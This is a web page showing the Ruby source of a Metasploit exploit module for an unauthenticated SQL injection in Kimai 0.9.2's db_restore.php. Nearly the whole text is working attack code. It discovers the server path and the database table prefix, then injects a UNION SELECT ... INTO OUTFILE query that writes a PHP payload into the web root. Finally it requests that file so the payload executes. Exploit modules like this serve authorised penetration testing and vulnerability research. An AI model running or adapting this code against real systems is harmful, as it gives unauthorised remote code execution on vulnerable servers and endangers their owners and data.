Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/kimai_sqli.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",
17
'Description' => %q{
18
This module exploits a SQL injection vulnerability in Kimai version
19
0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
20
execute arbitrary SQL queries. This module writes a PHP payload to
21
disk if the following conditions are met: The PHP configuration must
22
have 'display_errors' enabled, Kimai must be configured to use a
23
MySQL database running on localhost; and the MySQL user must have
24
write permission to the Kimai 'temporary' directory.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'drone', # Discovery and PoC
29
'bcoles' # Metasploit module
30
],
31
'References' => [
32
['EDB', '25606'],
33
['OSVDB', '93547'],
34
],
35
'Payload' => {
36
'Space' => 8000, # HTTP POST
37
'DisableNops' => true,
38
'BadChars' => "\x00\x0a\x0d\x27"
39
},
40
'Arch' => ARCH_PHP,
41
'Platform' => 'php',
42
'Targets' => [
43
# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
44
[ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
45
],
46
'Privileged' => false,
47
'DisclosureDate' => '2013-05-21',
48
'DefaultTarget' => 0,
49
'Notes' => {
50
'Reliability' => UNKNOWN_RELIABILITY,
51
'Stability' => UNKNOWN_STABILITY,
52
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
}
54
)
55
)
56
57
register_options(
58
[
59
OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),
60
OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
61
OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
62
]
63
)
64
end
65
66
#
67
# Checks if target is Kimai version 0.9.2.x
68
#
69
def check
70
vprint_status("Checking version...")
71
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
72
if not res
73
vprint_error("Request timed out")
74
return Exploit::CheckCode::Unknown
75
elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
76
version = "#{$1}"
77
print_good("Found version: #{version}")
78
if version >= "0.9.2" and version <= "0.9.2.1306"
79
return Exploit::CheckCode::Appears
80
end
81
end
82
return Exploit::CheckCode::Safe
83
end
84
85
def exploit
86
# Get file system path
87
print_status("Retrieving file system path...")
88
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
89
if not res
90
fail_with(Failure::Unknown, "#{peer} - Request timed out")
91
elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
92
path = "#{$1}"
93
print_good("Found file system path: #{path}")
94
else
95
path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
96
print_warning("Could not retrieve file system path. Assuming '#{path}'")
97
end
98
99
# Get MySQL table name prefix from temporary/logfile.txt
100
print_status("Retrieving MySQL table name prefix...")
101
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
102
if not res
103
fail_with(Failure::Unknown, "#{peer} - Request timed out")
104
elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
105
table_prefix = "#{prefixes.flatten.last}"
106
print_good("Found table name prefix: #{table_prefix}")
107
else
108
table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
109
print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
110
end
111
112
# Create a backup ID
113
print_status("Creating a backup to get a valid backup ID...")
114
res = send_request_cgi({
115
'method' => 'POST',
116
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
117
'vars_post' => {
118
'submit' => 'create backup'
119
}
120
})
121
if not res
122
fail_with(Failure::Unknown, "#{peer} - Request timed out")
123
elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
124
id = "#{backup_ids.flatten.last}"
125
print_good("Found backup ID: #{id}")
126
else
127
fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
128
end
129
130
# Write PHP payload to disk using MySQL injection 'into outfile'
131
fname = "#{rand_text_alphanumeric(rand(10) + 10)}.php"
132
sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
133
print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
134
res = send_request_cgi({
135
'method' => 'POST',
136
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
137
'vars_post' => Hash[{
138
'submit' => 'recover',
139
'dates[]' => sqli
140
}.to_a.shuffle]
141
})
142
if not res
143
fail_with(Failure::Unknown, "#{peer} - Request timed out")
144
elsif res.code == 200
145
print_good("Payload sent successfully")
146
register_files_for_cleanup(fname)
147
else
148
print_error("Sending payload failed. Received HTTP code: #{res.code}")
149
end
150
151
# Remove the backup
152
print_status("Removing the backup...")
153
res = send_request_cgi({
154
'method' => 'POST',
155
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
156
'vars_post' => Hash[{
157
'submit' => 'delete',
158
'dates[]' => "#{id}"
159
}.to_a.shuffle]
160
})
161
if not res
162
print_warning("Request timed out")
163
elsif res.code == 302 and res.body !~ /#{id}/
164
vprint_good("Deleted backup with ID '#{id}'")
165
else
166
print_warning("Could not remove backup with ID '#{id}'")
167
end
168
169
# Execute payload
170
print_status("Retrieving file '#{fname}'...")
171
res = send_request_raw({
172
'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
173
}, 5)
174
end
175
end
176
177